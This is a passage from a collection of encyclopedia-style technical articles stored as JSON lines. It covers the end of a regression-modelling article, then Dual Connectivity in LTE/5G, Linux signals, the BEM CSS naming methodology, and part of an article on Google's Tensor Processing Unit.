\\frac{SSR}{SST}$$Higher the \\(R^2\\), larger the explained variance and lower the unexplained. Hence, higher \\(R^2\\) value is desired. For example, if \\(R^2=0.8\\), 80% of variation in data is explained by model.\n\n\n### What are some challenges with regression and how to overcome them?\n\n**High multicollinearity** is a challenge. It basically means one or more independent variables are highly linearly dependent on another independent variable. This makes it difficult to estimate the coefficients. One possible solution is to increase the sample size. \n\nAnother challenge is non-constant error variance, also called **heteroscedasticity**. An example of this when the observations \"funnel out\" as we move along the regression line. One solution is to use a Weighted Least Squares (WLS). \n\nRegression assumes that errors from one observation are not related to other observations. This is often not true with time series data. **Autocorrelated errors** are therefore a challenge. One approach is to estimate the pattern in the errors and refine the regression model. \n\nAnother problem is **overfitting** that occurs when the model is \"too well-trained\". Such a model will not fit any other data. *Regularization* is the technique used to avoid overfitting. For parametric models, there are regression routines that address overfitting concerns. Lasso regression and ridge regression are a couple of such routines. \n\n\n### Could you share some tips for beginners getting into regression modelling?\n\nHere are a few useful tips:\n\n    + It's known that when not enough data is collected, \\(R^2\\) is overestimated. Collect sufficient data.\n    + Use *partial F-test* to identify predictors that can explain most of the variance in the predicted variable. Try to select as few predictors as possible to simplify analysis.\n    + Try different techniques for cross-validation, such as independent samples or split samples.\n    + Starting with lots of predictors might result in bad analysis. Start with a narrower focus.\n    + Analysis is sensitive to bad data. Be careful about how data is collected.\n    + Let decision makers be aware of the error term. See if the predictions make sense. Don't blindly believe in data: combine it with intuition.\n\n\n## Milestones\n\n1795\n\nCarl Friedrich Gauss invents the **method of least squares**. He doesn't publish the method until much later in 1809. He uses it to predict the position of the celestial body named Ceres. Squared error is easy to compute and the error from this method is also normally distributed. \n\n1805\n\nAdrien-Marie Legendre publishes his invention of the method of least squares independently of Gauss. He uses it for the determination of orbits of comets. \n\n1875\n\nFrancis Galton analyzes the sizes of mother and daughter sweet-pea seeds. He also makes a 2D-plot comparing the two, thereby obtaining the first insights into regression. He presents his first **regression line** in 1877. He notices that extreme values are \"dampened\" in the next generation whose values are closer to the mean. The idea of **regression to the mean** starts with Galton. Galton initially uses the term *reversion* rather than *regression*. \n\n1896\n\nKarl Pearson gives a mathematical treatment of correlation and regression using **product-moment method**. \n\n1898\n\nFrancis Galton considers the role of previous generations of ancestors on one individual, thus recognizing that multiple variables can affect the predicted variable. The idea of **multivariate regression** starts here but developed only later by Karl Pearson. \n\n1915\n\nR. A. Fisher gives the exact sampling distribution of the correlation coefficient. Rigorous mathematical treatment of multivariate analysis also starts with Fisher through his **z-transformation** and **F distribution**. \n\n1962\n\nG.E.P. Box and P.W. Tidwell investigate transformations on predictor variables. Such transformations become useful to maintain the assumptions of independence, normality and variance homogeneity. \n\n1970\n\nA.E. Hoerl and R.W. Kennard look into the problem of near linear dependencies in the predictors. They propose **ridge regression** as a solution that uses suitable *biasing parameters*.","meta":{"title":"Regression Modelling","href":"regression-modelling"}}
{"text":"# Dual Connectivity\n\n## Summary\n\n\nDual Connectivity (DC) is a feature that was first introduced in LTE (Release 12) to allow a UE to be connected to two eNBs and send/receive packets via both eNBs. The eNBs are connected via a non-ideal backhaul. \n\nIn 5G (Release 15), this concept was expanded so that a UE can be connected to both LTE E-UTRA and 5G NR nodes. The Core Network (CN) is either LTE EPC or 5G Core. This was later expanded so that both cells can belong to 5G NR, in which case the CN is exclusively 5G Core. These various options come under the general term **Multi-Radio Dual Connectivity (MR-DC)**. MR-DC is a generalization of Intra-E-UTRA Dual Connectivity. \n\nMR-DC can offer a UE more resources for higher throughput. More commonly, it helps operators improve mobility robustness and handovers in macro/micro-cell deployments. It aids in migrating their networks from 4G to 5G.\n\n## Discussion\n\n### Why do we need MR-DC?\n\nUL/DL separation, user/control plane separation, and user plane traffic aggregation via multiple nodes are some benefits of DC. DC can help operators integrate WLAN with their cellular networks. DC can also be used for redundancy for URLLC services with traffic duplication. Duplicated traffic may go via the same node or a second node. \n\nAn E-UTRA node can provide mobility and initial access to the UE while an NR node joins in later to offer higher throughput. Essentially, E-UTRA master node handles the control plane and both E-UTRA and NR nodes handle the user plane. Thus a more stable LTE macro layer is overlaid on top of a high-throughput NR small cell layer. We could say that LTE provides the anchor while 5G provides more bandwidth. \n\n\n### How can MR-DC help operators in their 4G-to-5G migration?\n\nWith **Non-Standalone (NSA)**, operators can extend the life of their 4G equipment while deploying 5G. Regardless of the type of Core Network, NSA allows both 4G and 5G nodes to interwork. These options are named Option 3 (and variants 3a and 3x), Option 4 and Option 7.  \n\nThe path of least investment is probably Option 3. Operators deploy only 5G gNB nodes to roll out 5G NR. These connect to EPC core via existing 4G eNB nodes. Thus, neither 5G core nor new backhauls need to be installed. A gNB connects to an eNB via a cheaper non-ideal backhaul, called the X2 interface. \n\nFrom Option 3, an operator could migrate the core from EPC to 5G Core (Options 4 or 7). Eventually, all eNBs can be replaced with gNBs, leading to **Standalone (SA)** deployment Option 2. In any case, eNBs and gNBs could coexist for a long time since Dynamic Spectrum Sharing (DSS) allows spectrum to be used flexibly between 4G and 5G. \n\n\n### What's the terminology used in MR-DC?\n\nIn MR-DC, a UE is connected to two nodes. One is called the **Master Node (MN)** and the other is called the **Secondary Node (SN)**. MN is the node to which the UE first connects. Subsequently, using RRC signalling messages via the MN, UE connects to the SN.\n\nHistorically, only MN provided the control plane connection between the UE and the Core Network (CN). SN provided only additional resources to carry user plane traffic. However, with the later introduction of split SRB and SRB3, SN can also carry signalling messages.\n\nA MN can be an eNB (in EN-DC), a ng-eNB (in NGEN-DC) or a gNB (in NR-DC and NE-DC). Similarly, a SN can be en-gNB (in EN-DC), a ng-eNB (in NE-DC) or a gNB (in NR-DC and NGEN-DC). \n\nMR-DC can be used alongside Carrier Aggregation (CA). Thus, both MN and SN may be associated with multiple cells or carriers. These aggregated carriers are collectively called **Master Cell Group (MCG)** and **Secondary Cell Group (SCG)**. Each group has one primary cell (SpCell) and potentially many secondary cells. The primary cell of MCG is called PCell and of SCG is called PSCell. It carries the PUCCH. \n\n\n### What are the different configuration options in MR-DC?\n\nMR-DC has four configurations: \n\n    + **EN-DC (E-UTRA-NR Dual Connectivity)**: UE connects to a LTE eNB as MN and a 5G en-gNB as SN. CN is LTE EPC. en-gNB may connect to EPC via S1-U interface.\n    + **NGEN-DC (NG-RAN E-UTRA-NR Dual Connectivity)**: UE connects to ng-eNB as MN and gNB as SN. CN is 5GC.\n    + **NE-DC (NR-E-UTRA Dual Connectivity)**: UE connects to gNB as MN and ng-eNB as SN. CN is 5GC.\n    + **NR-DC (NR-NR Dual Connectivity)**: UE connects to one gNB as MN and another gNB as SN. Alternatively, a single gNB can function as both MN and SN. CN is 5GC.EN-DC corresponds to Option 3, NGEN-DC to Option 4, NE-DC to Option 7, and NR-DC to Option 2. \n\nWe note that EN-DC uses LTE EPC whereas other MR-DC configurations use 5G Core. MN and SN are connected via the X2 interface (in EN-DC) and Xn interface (NGEN-DC, NE-DC, NR-DC). MN must have a connection to the CN. MN and SN must be connected even if it's a non-ideal backhaul. \n\n\n### What's the difference between synchronous and asynchronous DC?\n\nLTE specifies both synchronous and asynchronous DC. Synchronous DC implies that the two eNBs involved in DC need to be time synchronized. UE can cope with 33μs of maximum reception time difference and 35.21μs maximum transmission time difference. With asynchronous DC, no such time synchronization is required. \n\nLikewise, synchronous and asynchronous DC are applicable for MR-DC configurations. Asynchronous NR-DC was specified in Release 16. \n\n\n### What bearers are used in MR-DC?\n\nAn MCG bearer is a radio bearer with an RLC bearer only in MCG. Likewise, a SCG bearer has an RLC bearer only in SCG. A Split Bearer is a radio bearer with RLC bearers in both MCG and SCG. Where the bearer is used for signalling, we use the terms MCG SRB, SCG SRB and Split SRB. \n\nIn the control plane, RRC PDUs from SN go via MN unless SRB3 is configured. SRB3 is possible only when SN is a gNB or en-gNB. With SRB3, RRC PDUs can be sent directly from SN to UE. With Split SRB, RRC PDUs from MN can be duplicated and sent via both MCG and SCG. Split SRB is possible for all MR-DC configurations. RRC PDUs from SN can't be duplicated this way. \n\nIn the user plane, MCG/SCG/Split bearer may be terminated either in MN or SN. For example, an SCG bearer can be terminated in MN by passing PDCP PDUs between SN RLC and MN PDCP over the X2 or Xn interface. With split bearers, PDCP does routing and duplication. \n\n\n### What's the higher layer signalling for MR-DC?\n\nThe UE has a single RRC state based on the MN RRC state. UE connects to the CN via single control plane connection. Initial access (SRB0) and RRC configuration (SRB1) are via the MN but later reconfigurations can be from either MN or SN. EN-DC starts with E-UTRA PDCP but this can be reconfigured to use NR PDCP. \n\nIf there's a link failure in SCG but MCG link is fine, no re-establishment procedure is triggered. Release 16, extended this concept to include fast MCG link recovery; that is, even when MCG link fails but SCG link is fine, no re-establishment procedure will be triggered. Instead, SCG link is used to recover MCG link. \n\nFull details of signalling for Intra-E-UTRA DC and EN-DC are specified in TS 36.300. RRC signalling for other MR-DC configurations are specified in TS 38.331. \n\n\n### How is uplink power control achieved in MR-DC?\n\nUplink power control procedures defined for E-UTRA and NR continue to be applicable with some additional constraints. The UE is required to conform to the configured maximum transmission power in each cell group. UE is also configured with total maximum transmission power for the applicable MR-DC configuration. Power sharing can be dynamic or semi-static. \n\nIn Intra-E-UTRA DC, power control modes 1 and 2 are available. UE will reduce its power in SCG if subframes in MCG and SCG overlap and total power exceeds a threshold. \n\nIn EN-DC and NE-DC, if the UE supports dynamic power sharing, and \\(P\\_{MCG}(i\\_1) + P\\_{SCG}(i\\_2) > P\\_{Total}\\) for slots \\(i\\_1\\) and \\(i\\_2\\), then UE reduces in the power in the NR node (MCG or SCG) so that total transmit power doesn't exceed the total configured value. \n\nIn NR-DC, power control is done independently for MCG and SCG when they use different ranges (FR1 and FR2). Where inter-CG power sharing is applicable, transmission powers for MCG and SCG are determined per frequency range. \n\n\n### How is DC different from CA?\n\nDC and CA are not mutually exclusive and can be combined. In both DC and CA, a UE is connected to more than one cell. With CA, all cells belong to the same node (eNB or gNB). Scheduling decisions are made jointly for all cells. With DC, the co-ordination between MCG and SCG is a lot looser and scheduling decisions are made in different nodes. \n\nCells from different radio access technologies (RATs) can be used for DC but not for CA. DC is essential for 5G Non-Standalone operation but CA is not. \n\nA UE has a single MAC entity for CA. For DC, a UE has two MAC entities. A DC UE also requires 2 TX. In CA, MAC splits the traffic among Component Carriers (CCs). In DC, traffic is split at PDCP. \n\nAll traffic due to CA are transported via ideal backhauls. This is not the case with DC. Non-ideal backhauls (with higher latency) may be used for the X2 or Xn interface. In fact, it's been said that, \n\n> Dual connectivity can be seen as carrier aggregation extended to the case of non-ideal backhaul.\n\n\n### What are the engineering challenges with implementing MR-DC?\n\nSelf-interference is one of the challenges. In DC, a UE will be transmitting on multiple carriers. Their intermodulation products may fall within the receiver band. To avoid this interference, RF circuitry will need to be designed with less non-linearity, which may increase cost and power consumption. One way to avoid this problem is to constrain the UE to **single-TX DC** for some band combinations. UE is not allowed to do simultaneous transmissions towards eNB and gNB. Schedulers in these nodes coordinate to satisfy this constraint. \n\nThe figure shows an example of B41/n41 EN-DC spectral mask measured at one of the two antennas. We can see that the transmission fails spectral mask requirements due to low frequency intermodulation product. \n\n\n### Which are the main specifications relevant to Dual Connectivity?\n\nOverall descriptions of Dual Connectivity can be found in **TS 36.300** (Intra-E-UTRA DC) and **TS 37.340** (MR-DC involving E-UTRA and NR, or NR only).  \n\nFor Intra-E-UTRA-DC, DC valid band combinations are specified in **TS 36.101**, section 5.5C. For example, *DC\\_1-20* combines DL bands 2110-2170 MHz with 791-821 MHz (and their paired UL FDD bands). \n\nValid band combinations for EN-DC, NGEN-DC and NE-DC are specified in a series of documents: **TS 37.716**, **TS 37.717** (Release 17), and **TS 37.718** (Release 18). Likewise, for NR-DC we have **TS 38.716**, **TS 38.717** and **TS 38.718**. These documents also include bands for inter-band Carrier Aggregation (CA). Some band combinations may result in self-interference and these are noted in these documents. \n\n## Milestones\n\nDec  \n2013\n\nAs part of Release 12 work, 3GPP publishes the report **TR 36.842** that describes small cell enhancements. Dual connectivity is introduced in this report as one of the possible solutions. \n\nMar  \n2015\n\nRelease 12 of LTE-Advanced is largely completed and functionally frozen. This release introduces **Intra-E-UTRA Dual Connectivity**.  \n\nAug  \n2015\n\nEricsson in partnership with KT demonstrates Dual Connectivity. The demo uses two LTE cells, a macro cell and a small cell. \n\nMar  \n2016\n\nRelease 13 3GPP specifications is published. This introduces **LTE-WLAN Aggregation (LWA)**. Although called aggregation, it's more like DC than CA. This is the first time that a UE can connect simultaneously to two different RATs. \n\nDec  \n2017\n\n3GPP publishes Release 15 \"early drop\". **Dual connectivity between E-UTRA and NR** is supported in this release. This enables DC in Non-Standalone deployment scenarios but not in Standalone scenarios. \n\nJun  \n2018\n\n3GPP publishes Release 15 \"main drop\". **NR-DC** is supported in this release, thus enabling DC even in 5G Standalone deployment scenarios. \n\nMay  \n2020\n\nNokia claims to achieve a world record speed of 4.7 Gbps on a commercially deployed network in the U.S. This is achieved using EN-DC with 40 MHz of LTE spectrum and 8 x 100 MHz of millimeter wave spectrum in 28 GHz and 39 GHz bands. A 5G cloud RAN is used for this test. \n\nJun  \n2020\n\nRelease 16 is completed and functionally frozen. This includes many enhancements or additions to DC including idle/inactive mode measurements, SCG/SCell configuration during transition from idle/inactive state, dormant SCell in NR, fast recovery from MCG link failure, and support for asynchronous NR-DC operation. UL Tx Switching (EN-DC) is another new feature in this release. \n\nApr  \n2021\n\nEricsson and MediaTek demonstrate NR-DC and achieve 5.1 Gbps using 8 x 100 MHz (@ 28 GHz, n261) and 60 MHz (@ 3.7 GHz, n77). In December 2021, Ericsson and Singtel achieve 5.4 Gbps using NR-DC at 3.5 GHz (mid-band) and 28 GHz (mmWave). This sort of speed enables high-performance low-latency applications including immersive gaming, AR/VR, autonomous vehicles and robotic control.","meta":{"title":"Dual Connectivity","href":"dual-connectivity"}}
{"text":"# Linux Signals\n\n## Summary\n\n\nA Linux computer system has many processes in different states. These processes belong to either user applications or the operating system. We need a mechanism for the kernel and these processes to coordinate their activities. One way to do this is for a process to inform others when something important happens. This is why we have **signals**. \n\nA signal is basically a one-way notification. A signal can be sent by the kernel to a process, by a process to another process, or a process to itself. \n\nLinux signals trace their origins to Unix signals. In later Linux versions, real-time signals were added. Signals are a simple and lightweight form of interprocess communication, and therefore suited for embedded systems.\n\n## Discussion\n\n### What are the essential facts about Linux signals?\n\nThere are 31 standard signals, numbered 1-31. Each signal is named as \"SIG\" followed by a suffix. Starting from version 2.2, the Linux kernel supports 33 different real-time signals. These have numbers 32-64 but programmers should instead use `SIGRTMIN+n` notation. Standard signals have specific purposes but the use of SIGUSR1 and SIGUSR2 can be defined by applications. Real-time signals are also defined by applications. \n\nSignal number 0, which POSIX.1 calls *null signal*, is generally not used but `kill` function uses this as a special case. No signal is sent but it can be used (rather unreliably) to check if the process still exists. \n\nLinux implementation of signals is fully POSIX compliant. Newer implementation should prefer to use `sigaction` rather than the traditional `signal` interface. \n\nJust as hardware subsystems can interrupt the processor, signals interrupt process execution. They are therefore seen as *software interrupts*. While interrupt handlers process hardware interrupts, signal handlers process signals. \n\nSome signals are mapped to specific key inputs: SIGINT for `ctrl+c`, SIGSTOP for `ctrl+z`, SIGQUIT for `ctrl+\\`. \n\n\n### How does a signal affect the state of a Linux process?\n\nSome signals terminate the receiving process: SIGHUP, SIGINT, SIGTERM, SIGKILL. There are signals that terminate the process along with a core dump to help programmers debug what went wrong: SIGABRT (abort signal), SIGBUS (bus error), SIGILL (illegal instruction), SIGSEGV (invalid memory reference), SIGSYS (bad system call). Other signals stop the process: SIGSTOP, SIGTSTP. SIGCONT is a signal that resumes a stopped process.  \n\nA program could override default behaviour. For example, an interactive program could be written to ignore SIGINT (generated by `ctrl+c` input). Two notable exceptions are SIGKILL and SIGSTOP signals, which can't be ignored, blocked or overridden this way. \n\nLet's consider the example of a parent process and its child process. Suppose the child sends SIGSTOP to itself, child process will be stopped. This in turns triggers SIGCHLD to the parent. Parent can then signal the child to continue using SIGCONT. When child comes out of stopped state, another SIGCHLD is sent to parent. If later, the child process exits, the final SIGCHLD is sent to parent. \n\n\n### Aren't signals similar to exceptions?\n\nSome programming languages are capable of exceptions using constructs such as `try-throw-catch`. Signals are not similar to exceptions. Instead, failed system or library calls return non-zero exit codes. When a process is terminated, it's exit code will be 128 plus signal number. For example, a process killed by SIGKILL will return 137 (128+9). \n\n\n### Are Linux signals synchronous or asynchronous?\n\nWhen signals are generated, they can be considered as synchronous or asynchronous.\n\n**Synchronous** signals occur as a result of instructions that have led to an unrecoverable error such as an illegal address access. These signals are sent to the thread that caused it. These are also called *traps*, since they also cause a trap into the kernel trap handler. \n\n**Asynchronous** signals are external to the current execution context. Sending SIGKILL from an another process is an example of this. These are also called *software interrupts*. \n\n\n### What's the typical lifecycle of a signal?\n\nA signal goes through three stages:\n\n    + **Generation**: A signal can be generated by the kernel or any of the processes. Whoever generates the signal, addresses it to a specific process. A signal is represented by its number and has no extra data or arguments. Thus, signals are lightweight. However, extra data can be passed along for POSIX real-time signals. System calls and functions that can generate signals include `raise`, `kill`, `killpg`, `pthread_kill`, `tgkill`, and `sigqueue`.\n    + **Delivery**: A signal is said to be *pending* until it's delivered. Normally a signal is delivered to a process as soon as possible by the kernel. However, if the process has blocked the signal, it will remain pending until unblocked.\n    + **Processing**: Once a signal is delivered, it is processed in one of many ways. Every signal has an associated default action: ignore the signal; or terminate the process, sometimes with a core dump; or stop/continue the process. For non-default behaviour, *handler function* can be called. Exactly which of these happens is specified via `sigaction` function.\n\n### Could you explain the concept of blocking and unblocking signals?\n\nSignals interrupt the normal flow of program execution. This is undesirable when the process is executing some critical code or updating data that's shared with signal handlers. Blocking solves this problem. The tradeoff is that signal handling is delayed. \n\nEvery process can specify if it wants to block a specific signal. If blocked and the signal does occur, the operating system will hold the signal as pending. The signal will be delivered once the process unblocks it. The set of currently blocked signals is called **signal mask**. \n\nThere's no point blocking a signal indefinitely. For this purpose, the process can instead ignore the signal once it's delivered. \n\nA signal blocked by one processes doesn't affect other processes, who can receive the signal normally.\n\nSignal mask can be set using `sigprocmask` (single-threaded) or `pthread_sigmask` (multi-threaded).  When a process has multiple threads, a signal can be blocked on a per thread basis. Signal will be delivered to any one thread that hasn't blocked it. Essentially, \n\n> Signal handlers are per process, signal masks are per thread.\n\n\n### Can we have more than one signal pending for a process?\n\nYes, many standard signals can be pending for a process. However, only one instance of a given signal type can be pending. This is because pending and blocking of signals are implemented as bitmasks, with one bit per signal type. For example, we can have SIGALRM and SIGTERM pending at the same time but we can't have two SIGALRM signals pending. The process will receive only one SIGALRM signal even if raised multiple times. \n\nWith real-time signals, signals can be queued along with data,  so that each instance of the signal can individually delivered and handled. \n\nPOSIX doesn't specify the order of delivery for standard signals, or what happens if both standard and real-time signals are pending. Linux gives priority to standard signals. For real-time signals, lower numbered signals are delivered first, and if many are queued for a signal type, earliest one is delivered first. \n\n## Milestones\n\n1990\n\nSignals are described in the POSIX.1-1990 standard. These can be traced to the IEEE Std 1003.1-1988. \n\n1993\n\nReal-time extensions are released as POSIX.1b. This includes real-time signals. \n\n1999\n\nLinux starts supporting real-time signals with the release of kernel version 2.2.  \n\n2001\n\nMore signals are added in the POSIX.1-2001 standard: SIGBUS, SIGPOLL, SIGPROF, SIGSYS, SIGTRAP, SIGURG, SIGVTALRM, SIGXCPU, SIGXFSZ.","meta":{"title":"Linux Signals","href":"linux-signals"}}
{"text":"# BEM Methodology\n\n## Summary\n\n\nWhen updating web/mobile user interfaces, frontend developers often worry about breaking existing code or introducing inconsistencies. Selecting elements on a UI is often problematic because of long cascading rules, nested styles, rules that are unnecessarily high in specificity, and naming everything in the global namespace. BEM provides a modular approach to solve these problems.\n\nBEM is a methodology, an approach and a naming convention to write better CSS styling and achieve consistent JS behaviour. **BEM** stands for *Block*, *Element* and *Modifier*. These three are called **BEM Entities**. \n\nBEM is not a W3C standard but it's recommended by those who have adopted it and reaped its benefits. Among its adopters are Yandex, Google, BBC, Alfa Bank, and BuzzFeed. BEM also works nicely with CSS languages (Sass, etc.), and frontend frameworks (React, etc.).\n\n## Discussion\n\n### Could you explain BEM with an example?\n\nBEM is a component-based approach to design a user interface for the web/mobile. For example, we can identify components such as header, menu, logo, search and login on a typical web page. In BEM, we call these components **blocks**, each having a well-defined purpose or semantics. It's also apparent that a block can contain other blocks within it. However, each block is also independent of other blocks and can be reused elsewhere. For example, it's not necessary that the login block must be part of the header block. It could be moved to a sidebar in a redesigned page layout. \n\nBlocks can also contain **elements** that cannot exist outside their parent blocks. For example, a menu block is composed of menu items, each of which is an element in BEM terminology. \n\nFinally, an element within a block can be selectively modified depending on the context. For example, in a menu block, the active menu item could be styled differently. This modification is done using **modifiers**. Modifiers are optional. \n\n\n### What are the advantages of adopting the BEM methodology?\n\nBEM enables flexible maintainable code. Components can be reused. Code becomes more consistent since the rules are clear. It's easier to scale to large projects. Teamwork is easier because everyone is familiar with BEM conventions. Since the approach is based on independent blocks, work can be clearly partitioned, with each team member working on a different block.\n\nMore specifically, every BEM CSS class is unique and self-sufficient. BEM doesn't need nesting of styles. We don't need long and inefficient selectors to match specific elements. BEM avoids name collisions due to its consistent naming convention. The naming convention also makes the CSS self-documenting: the relationships among DOM nodes is easier to see. DOM nodes are selected more efficiently with managed specificity. \n\n\n### What's the default naming conventions followed in BEM?\n\nLet's consider the following: `block-name&lowbar;&lowbar;elem-name_mod-name_mod-val`. We note that names are all in lowercase, underscores are used as separators between BEM entities, and hyphens are used within names for better readability. We use double underscore to separate block from element; single underscore to separate block/element name from its modifier; single underscore to separate modifier name and modifier value.\n\nConsider these examples: \n\n    + `main-menu_hidden`: main-menu is the block, hidden is the modifier.\n    + `menu_theme_islands`: menu is the block, theme is the modifier, islands is the theme being specified (modifier value).\n    + `menu&lowbar;&lowbar;item_type_radio`: menu is the block, item is its element, type is item's modifier, radio is the modifier's value.\n    + `main-menu&lowbar;&lowbar;item_black-listed`: main-menu is the block, item is its element, black-listed is item's modifier.\n\n### What other naming conventions are common in the BEM community?\n\nWhile there's a default naming convention in BEM, you can create your own convention. Most importantly, the convention should clearly separate blocks, elements and modifiers. Other than the default one, the following conventions are used in the BEM community: \n\n    + **Two Dashes**: `block-name&lowbar;&lowbar;elem-name--mod-name--mod-val`: double hyphens are used between elements, modifiers and values.\n    + **CamelCase**: `blockName-elemName_modName_modVal`\n    + **React**: `BlockName-ElemName_modName_modVal`\n    + **No Namespace**: `_modname`: no reference to block or element and hence of limited usefulness.\n\n### What technologies assist in implementing BEM?\n\nA block is not just about CSS. It encapsulates behaviour (JavaScript), templates, styles (CSS), documentation, and other implementation technologies. Developers can adopt any implementation technology of their choice. As a sample, we note the following: \n\n    + **Styling**: CSS, Stylus, Sass\n    + **Behaviour**: JavaScript, CoffeeScript\n    + **Templates**: BEMHTML, BH, Pug, Handlebars, XSL\n    + **Documentation**: Markdown, Wiki, XML\n\n### Could you share some BEM best practices?\n\nAn important principle of BEM is to avoid selectors based on ID or tag name. Only class names are used, and these can be reused easily regardless of the tag. It's also allowed to use multiple BEM entities on the same DOM node. \n\nWe can use nesting in BEM but it's not recommended. Nesting increasing code coupling and inhibits reuse. Likewise, combined selectors (eg. `.btn.btn_error`) are not recommended. \n\nUse only a single double underscore in a name: `c-card&lowbar;_img` rather than `c-card&lowbar;&lowbar;body_&lowbar;img`. Use namespaces to improve readability: `c-` for component, `l-` for layout, `h-` for helpers, `is-` or `has-` for states , `js-` for JavaScript hooks. \n\nExternal geometry and positioning (such as padding) should be done on parent node so that the current block can be reused elsewhere. Use **mixes** to apply the same style to multiple DOM nodes. This approach is better than using group selectors. \n\nTake an object-oriented approach to design. Design in terms of reusable blocks. Use principles such as single responsibility principle and open/closed principle. Don't repeat yourself (DRY). Prefer composition over inheritance. Organize your files into a clear folder structure. \n\n\n### What are some criticisms of BEM?\n\nSince BEM avoids the use of IDs or tag names, class names have to be unique. Giving these names can be a difficult task. Long class names bloat markup. To reuse UI components, we need to explicitly extend them. \n\nAs an example, a modifier will need its own class name but giving names for each DOM node that needs to be styled with this modifier can be cumbersome. An alternative is to use utility classes, named with `u-` prefix. The trade-off is that this will result in nested CSS. Thus, a DOM node is selected as `menu&lowbar;_item u-active` rather than `menu_&lowbar;item-active`. \n\nSince DOM nodes are marked with BEM entities, BEM creates a semantic overlay on the DOM. This is called **BEM Tree**. While some regard this as a useful thing, others claim that BEM unnecessarily makes the markup semantic. \n\n## Milestones\n\nDec  \n1996\n\nThe first version of **Cascading Style Sheets (CSS)** comes out as a W3C Recommendation. The idea of having style sheets can be traced to Tim Berners-Lee, who used it in his NeXT browser (1990), and Pei Wei's Viola browser (1992). Håkon Wium Lie released an initial draft in October 1994. \n\n2006\n\nAt Yandex, developers find that for large projects, layouts are becoming difficult to maintain. Long cascading rules and dependencies cause changes in one web page to affect many others. To solve this, they introduce the concept of **blocks**. A block is part of a page or layout defined semantically or visually. A block is given a unique CSS class name. Nodes within blocks are called **elements**. For example, logo is an element with a header block. \n\n2007\n\nBlock names use prefixes to emulate namespaces. Each prefix has its own semantics: `b-` for blocks, `h-` for block wrappers, `l-` for layouts, `g-` for global styles. This is also when **modifiers** are introduced to indicate block state or property. Modification can be context-dependent such as location; or context-independent. \n\nMar  \n2008\n\nWith the release of Lego 2.0, the unified styling framework at Yandex, **BEM** is formally born. Blocks are primary units. A block can be used anywhere on the page. Each block is stored in a separate folder with its own documentation. Blocks used are noted in XML files and used to generate CSS files. \n\n2009\n\nFolks at Yandex invent **Absolutely Independent Blocks (AIB)** to solve the problem of slow DOM updates. Each DOM node has its own class. Tag rules are avoided in CSS. \n\n2010\n\nBEM is open sourced along with some essential BEM tools. \n\n2015\n\n**CSS Modules** is born with the initial commit happening in May 2015. BEM requires developers to choose unique class names and does not provide encapsulation. CSS Modules solves this by dynamically creating class names and localising styles. Thus, tooling is just as important as conventions. CSS Modules doesn't replace BEM. It makes it easier to implement BEM.","meta":{"title":"BEM Methodology","href":"bem-methodology"}}
{"text":"# Tensor Processing Unit\n\n## Summary\n\n\nTensor Processing Unit (TPU) is an ASIC announced by Google for executing Machine Learning (ML) algorithms. CPUs are general purpose processors. GPUs are more suited for graphics and tasks that can benefit from parallel execution. DSPs work well for signal processing tasks that typically require mathematical precision. On the other hand, TPUs are optimized for ML. While any of the others could also be used for ML, TPUs are expected to bring better performance per watt for ML. In fact, TPUs are said to catapult computing power seven years into the future, which is equivalent to three generations of Moore's Law. \n\nGoogle claims that TPUs are tailored for running TensorFlow, which is an open-source software library for Machine Intelligence.\n\n## Discussion\n\n### What is Google's interest in making the TPU?\n\nGoogle has claimed that \"great software shines brightest with great hardware underneath.\" This is particularly true of ML where a TPU would offer software the requisite power to run faster and hence process more data. Google wants to use TPUs to power its ML algorithms. As of May 2016, more than 100 teams are said to be using ML within Google. Google Today, Street View, Inbox Smart Reply, RankBrain and voice search are products that are already benefiting from TPU hardware. AlphaGo used TPUs to defeat Go world champion Lee Sedol. \n\nBeyond Google's internal projects, TPUs can offer an advantage for all ML applications implemented in TensorFlow. ML applications looking to run out of a cloud infrastructure will tend to prefer Google Cloud Platform powered by TPUs. Likewise, TPUs may be a differentiator for Google Cloud Platform when application developers select an ML service API for their applications. For example, Google Cloud Machine Learning is a managed ML service from Google that will directly benefit from TPUs. \n\nThere's also the claim that TPU may be Google's answer to Intel's Xeon processors that dominate datacenters. \n\n\n### Can TPUs be used for ML frameworks other than TensorFlow?\n\nTensorFlow is not the only framework for ML. More specifically, there are multiple frameworks for Deep Learning (DL). \n\nGoogle has not disclosed if TensorFlow algorithms are hardwired in TPU or if TPU is a generic accelerator for ML. Instead, Google has said that TPU is \"tailored for TensorFlow\". However, with the release of Cloud TPU, Facebook researcher and creator of PyTorch commented that there's a plan to port PyTorch to TPU. \n\n\n### Could you compare the performance of TPU against CPU or GPU?\n\nTests show 83x performance per watt gain over CPUs and 29x gain over GPUs. When tested for various neural networks, in terms of predictions per second, we see a 71x gain over CPUs for the particular case of a convolutional neural network (CNN) of 89 layers and 100 million weights. \n\nWithin Google's AI workloads, speed gains are in the range of 15x to 30x. In terms of energy efficiency, gains are in the range of 30x to 80x. \n\nNote that the numbers above are for the initial TPU version. With later versions of TPU, we can expect higher performance gains.\n\n\n### How is TPU able to achieve its superior performance compared to other processor types?\n\nWhereas CPUs are generic processors, the design of TPU is focused on ML workloads. The following design choices give it superior performance:\n\n    + **Quantization**: Integer operations are used instead of floating point operations. Precision is sacrificed for performance.\n    + **CISC & Matrix Multiplier Unit (MXU)**: TPU prefers CISC over RISC instruction architecture. A single instruction can trigger complex operations that are handled by MXU. CPUs is a scalar processor; GPUs is a vector processor; MXU is a matrix processor that can hundreds of thousands of operations in a single clock cycle.\n    + **Systolic Array**: Arithmetic operations, done in Arithmetic Logic Unit (ALU), are chained together, thus reducing register accesses. The generality of CPUs/GPUs is sacrificed for simpler energy-efficient design since ALUs in GPUs do the operations in fixed patterns.\n    + **Minimal & Deterministic**: CPUs and GPUs have a large control logic to handle caches, branch prediction, out-of-order execution, and so on. TPU's control logic is only 2% of the die. This minimalism also makes it deterministic: we can predict execution latency.\n\n### Doesn't low-precision arithmetic reduce accuracy of calculations?\n\nResearch has shown that deep learning algorithms are not affected by low-precision arithmetic. In fact, low-precision arithmetic can be used for both training as well as inference. This is because ML is essentially probabilistic in nature and high-precision arithmetic is unnecessary. One writer reported that \"having more data that is less precise yield better results than having half as much data that was more precise.\" In fact, addition of noise during training can improve performance. \n\nOne report claimed that Google intends to use TPU only for inference. The report added that low-precision arithmetic is not suited for training. Since the release of TPU2, it's clear that these can be used for both training and inference. With both TPU2 and TPU3, perhaps due to ML training needs, Google's own `bfloat16` is being used for float point operations. \n\n\n### What's the competition for Google's TPU?\n\nNvidia dominates the ML processor market with its GPUs. Nvidia has specialized its Tesla GPUs, named **Pascal**, that are suited for ML. These can be used 